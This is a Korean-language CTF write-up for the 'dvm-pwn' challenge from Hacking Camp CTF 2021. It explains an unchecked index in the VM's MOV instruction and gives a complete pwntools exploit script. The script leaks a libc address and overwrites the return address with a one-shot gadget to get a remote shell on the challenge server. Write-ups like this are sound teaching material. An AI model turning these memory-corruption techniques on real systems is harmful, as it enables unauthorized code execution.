뇌
[ Pwnable ] Hacking Camp CTF 2021 dvm-pwn write-up 본문
[ 메모리 보호기법 ]
CPU가 구현돼 있는 함수인데, ida
로 까면 switch case문
이 깨져 기드라
로 봤다.
기본적으로 수행하는 명령어들이 구현돼있는데, 취약점이 일어나는 부분과 내가 공격할 때 사용한 코드에 대해서만 설명을 하겠다.
[ MOV source code ]
인덱스를 조절하면서 스택 영역에 있는 값과 힙 영역에 있는 값을 가져올 수 있음
인덱스 크기에 대한 제한이 없기 때문에 이걸 이용해서 리턴 값을 가져오거나 덮을 수 있음
[ SYSCALL source code ]
read
, write
함수를 이용해 주소를 알면 원하는 공간에 입력이나 출력을 할 수 있음
각 인자마다 크기 제한이 있음 → 위 MOV
와 함께 사용함으로써 공격 가능
[ EXIT source code ]
return
으로 main
함수로 간 후 종료
[ 공격 루틴 ]
1. RET addr
에 있는 __libc_start_main
주소를 leak
1.1. write
함수의 두번째 인자가 더블 포인터라 RET addr
주소를 갖고 있는 주소를 찾아야함
1.2. 없어서 SFP
를 이용 → main
함수에서 CPU 구현 함수
를 호출했으므로, 이 함수의 SFP
에는 main
함수의 ebp
값이 들어가 있음 → main
함수의 RET addr
값을 main
함수의 SFP
위치에 넣고, CPU 구현 함수
의 SFP
위치를 계산함
1.3. heap
에 넣고, write
함수의 두번째 인자로 사용
2. 구한 libc base
를 이용하여 oneshot
!
2.1. MOV
를 이용하여 RET addr
부터 oneshot
조건을 맞추기 위해 레지스터 세팅을 한 후, oneshot 가젯
을 실행시키는 페이로드 작성
[ Exploit ]
from pwn import *
context.log_level = 'debug'
binary = './dvm-pwn'
p = remote('13.125.168.158', '3280')
#p = process(binary)
e = ELF(binary)
libc = e.libc
sa = lambda x, y : p.sendafter(x, y)
sla = lambda x, y : p.sendlineafter(x, y)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
rvl = lambda : p.recvline()
rvu = lambda x : p.recvuntil(x)
class VM:
def __init__(self):
self.pay = ''
def heap_open(self, idx): # sys
self.pay += '\x53'
self.pay += '2'
self.pay += '$'
self.pay += chr(idx+0x30)
self.pay += '1' # 4
self.pay += '1' # idx
def heap_read(self, fd, idx, size): # sys
self.pay += '\x53'
self.pay += '0'
self.pay += '$'
self.pay += chr(fd+0x30)
self.pay += chr(idx+0x30)
self.pay += chr(size+0x30)
def heap_write(self, fd, idx, size): # sys
self.pay += '\x53'
self.pay += '1'
self.pay += '$'
self.pay += chr(fd+0x30)
self.pay += chr(idx+0x30)
self.pay += chr(size+0x30)
def stack_to_heap(self, heap_idx, stack_idx): # mov
self.pay += '\x4d'
self.pay += chr(heap_idx+0x30)
self.pay += chr(stack_idx+0x30)
self.pay += '%'
def heap_to_stack(self, stack_idx, heap_idx): # mov
self.pay += '\x4d'
self.pay += chr(stack_idx+0x30)
self.pay += chr(heap_idx+0x30)
self.pay += '#'
def stack_to_stack(self, stack_idx_1, stack_idx_2): # mov
self.pay += '\x4d'
self.pay += chr(stack_idx_1+0x30)
self.pay += chr(stack_idx_2+0x30)
self.pay += '@'
def exit_(self):
self.pay += '\x45'
prsi = 0x0000000000027529
vm = VM()
#libc leak
vm.stack_to_stack(0x22, 0x23)
vm.stack_to_heap(0, -0x6) # CPU SFP
vm.heap_write(1, 0, 8)
#shell
vm.heap_read(0, 2, 8) # p64(libc_base+prsi)
vm.heap_read(0, 3, 8) # p64(0))
vm.heap_read(0, 4, 8) # p64(libc_base+0xe6e79) oneshot
vm.stack_to_stack(0x22, -0x6) # ebp
vm.heap_to_stack(0x23, 2) # ret
vm.heap_to_stack(0x24, 3) # ret+0x8
vm.heap_to_stack(0x25, 4) # ret+0x10
vm.exit_()
pause()
sla(': ', vm.pay)
libc_base = u64(rvu('\x7f')[-6:]+'\x00\x00') - (libc.symbols['__libc_start_main']+243)
log.info('libc_base : ' + hex(libc_base))
sa('S\n', p64(libc_base+prsi))
sa('S\n', p64(0))
sa('S\n', p64(libc_base+0xe6e79))
p.interactive()
'Pwnable' 카테고리의 다른 글
Smart Pointer in C++ pwn (0) | 2022.02.16 |
---|